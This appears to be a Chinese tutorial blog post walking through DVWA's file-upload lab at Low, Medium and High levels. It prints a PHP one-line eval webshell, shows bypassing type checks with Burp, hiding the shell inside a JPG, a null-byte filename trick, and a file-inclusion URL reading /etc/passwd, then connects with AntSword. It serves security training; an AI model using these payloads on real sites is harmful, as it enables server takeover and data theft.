天天看點

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

File Upload,即檔案上傳漏洞,通常是由于對上傳檔案的類型、内容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬擷取伺服器的 webshell 權限,是以檔案上傳漏洞帶來的危害常常是毀滅性的,Apache、Tomcat、Nginx 等都曝出過檔案上傳漏洞。

LOW

首先将難度級别調整到low

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

打開檔案上傳漏洞靶場

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

提示我們上傳需要上傳的圖檔,先不着急,我們來檢視一下源碼

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

源碼中定義了檔案上傳路徑以及将檔案移動到上傳目錄。

關于$_FILES 函數的簡單介紹

第一個參數是表單的 input name,第二個下标可以是 “name”, “type”, “size”, “tmp_name” 或"error"。

就像這樣:

$_FILES[“file”][“name”] - 被上傳檔案的名稱

$_FILES[“file”][“type”] - 被上傳檔案的類型

$_FILES[“file”][“size”] - 被上傳檔案的大小,以位元組計

$_FILES[“file”][“tmp_name”] - 存儲在伺服器的檔案的臨時副本的名稱

$_FILES[“file”][“error”] - 由檔案上傳導緻的錯誤代碼

這是一種非常簡單檔案上傳方式。基于安全方面的考慮,您應當增加有關什麼使用者有權上傳檔案的限制。

對檔案類型簡單限制的方式

$_FILES[“file”][“type”] == “image/gif”

通過源碼可知,并沒有對上傳檔案的類型進行判斷,在這裡我們直接嘗試上傳一句話木馬。

建立一個木馬檔案

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

Webshell 從名字上來看就是在 web 站點上的一個 shell 管理工具,其實就是這樣,webshell 檔案上傳到站點後,黑客進行通路該檔案并送出代碼進行執行,進而入侵 web 站點。是以它也是木馬的一種,在 web 領域這類木馬分為兩類,大馬和小馬。小馬通常指一句話木馬,可以用來滲透測試初期與伺服器建立連結取得 shell 權限;大馬就是在小馬的基礎上內建了非常多的功能,比如連接配接資料庫下載下傳檔案等。我們剛才上傳的檔案就是一個 webshell 是使用 php 語言進行編寫的,當然 webshell 也有其他語言如 jsp 等。

webshell 的工作原理

檢視源碼

<?php @eval($_POST[123456]); ?>

eval() 函數把字元串按照 PHP 代碼來計算。字元串可以通過$_POST 擷取代碼。123456 為密碼。

進行上傳

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

上傳成功,要想使用蟻劍進行連接配接,我們就需要知道一句話木馬的檔案位置

通過上傳成功的提示可以知道

…/…/hackable/uploads/1.php succesfully uploaded!

通過浏覽器可以知道

http://www.web.com/dvwa/vulnerabilities/upload/#

在linux系統中…/代表傳回上一級目錄的意思

綜上可知檔案目錄為

http://www.web.com/dvwa/hackable/uploads/1.php

然後我們使用蟻劍連結(我的密碼為123456)

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

連結後輕按兩下檢視是否能得到伺服器目錄,成功

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

Medium

首先将難度級别調整到Medium

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

打開源碼進行檢視

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

通過源碼可知在這裡對上傳檔案的字尾進行了判斷,當檔案字尾不為圖檔格式時,将無法上傳成功。

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

那麼我們将一句話木馬檔案字尾改為png呢?

嘗試,上傳成功

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

可是問題來了,我們無法使用蟻劍進行連接配接

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)
DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

這時我們就需要使用burp進行抓包修改檔案字尾

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

将png修改為php,那麼問題來了,我們修改完了就會不對檔案進行攔截嗎?

不會,注意這裡進行攔截判斷的是

Content-Type: image/png

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

點選發送,可以看到我們上傳成功

接下來使用蟻劍進行連接配接

http://www.web.com/dvwa/hackable/uploads/1.php

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

成功擷取到伺服器目錄

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

Hight

首先将難度級别調整到Hight

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

打開源碼進行檢視

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

strrpos(string , find ,start) 查找 find 字元在 string 字元中的最後一次出現的位置,start 參數可選,表示指定從哪裡開始

substr(string,start,length) 傳回 string 字元中從 start 開始的字元串,length 參數可選,表示傳回字元的長度

strtolower(string) 傳回給定字元串的小寫

getimagesize(string) :函數的作用是判斷上傳的檔案是不是有效的圖檔

move_uploaded_file(file,newlocal)函數表示把給定的檔案移動到新的位置

是以 $uploaded_ext 表示的是上傳檔案的字尾名 ,這裡限制上傳的檔案的字尾名必須以 jpg 、

jpeg 或 png 結尾,同時大小<100000,同時上傳的檔案必須是有效的圖檔格式(不隻是以圖檔的格式結尾,而且檔案内容是圖檔格式的)。

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

上傳失敗,盡管 1.png 是以 png 結尾的,但是檔案檔案裡面的内容不對。一樣上傳不了。

把代碼+圖檔合在一起。最終看到還是一個圖檔,隻是這個圖檔中有代碼。

思路:

1.把代碼和圖檔合在一起。最終看到的還是一個圖檔

2.上傳一個帶有代碼的png圖檔

3.以檔案包含漏洞來執行圖檔中的php代碼

檔案包含,即通過 php 函數加載另一個檔案中的 php 代碼,此函數通常會擷取所有檔案内容進行執行,識别到 php 代碼後會執行 php 代碼。

inclusion [ɪnˈkluːʒn] 包含

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

http://www.web.com/dvwa/vulnerabilities/fi/?page=file1.php

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

可以看到它加載的頁面是 file1.php 這個檔案,我們可以修改頁面為其他檔案。修改檔案位址

如:http://www.web.com/dvwa/vulnerabilities/fi/?page=file:etc/passwd

注:file:///是固定格式後面跟檔案路徑/etc/passwd

那麼我們可以上傳一個帶有 php 一句話木馬代碼的 png 圖檔。上傳成功後,使用蟻劍進行連接配接。

制作簡單的圖檔木馬進行上傳繞過

上傳圖檔檔案到 kali 中,将一句話木馬追加到圖檔中。

上傳1.php 和 2.jpg 到 kali 系統中:

我們通過将 php 代碼合并到圖檔中來進行隐藏。

[email protected]:~# cat 1.php >> 2.jpg

[email protected]:~# vim 2.jpg

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

将檔案上傳,成功

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

檔案上傳成功,但是檔案字尾名稱并不能更改,因為代碼中對檔案名稱也進行了嚴格的校驗。

拓展:如果 php 版本低于 5.4 可以使用 webshell.php%00.jpg 進行截斷繞過,這樣檔案會被直接當做 php 檔案進行執行,不過我們目前的 php 版本大于 5.4 是以我們需要使用檔案包含進行繞過。

使用蟻劍進行連接配接,輸入位址:

http://www.web.com/dvwa/vulnerabilities/fi/?page=file:///D:/wamp/www/dvwa/hackable/uploads/2.jpg

由于檔案包含,需要登入 DVWA,在未登入的狀态下,會導緻連接配接不成功。可以直接把已經登入的Cookie 資訊在編輯 Shell 配置添加到 Header 頭裡,這樣就可以了。

在 已經登入 DVWA 頁面,按 F12 鍵,擷取 Cookie

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

配置蟻劍

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)
DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

連接配接,成功

DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)DVWA基于檔案上傳漏洞獲得網站shell權限(Low、Medium、High)

本教程僅供學習使用,不得用于非法用途!!!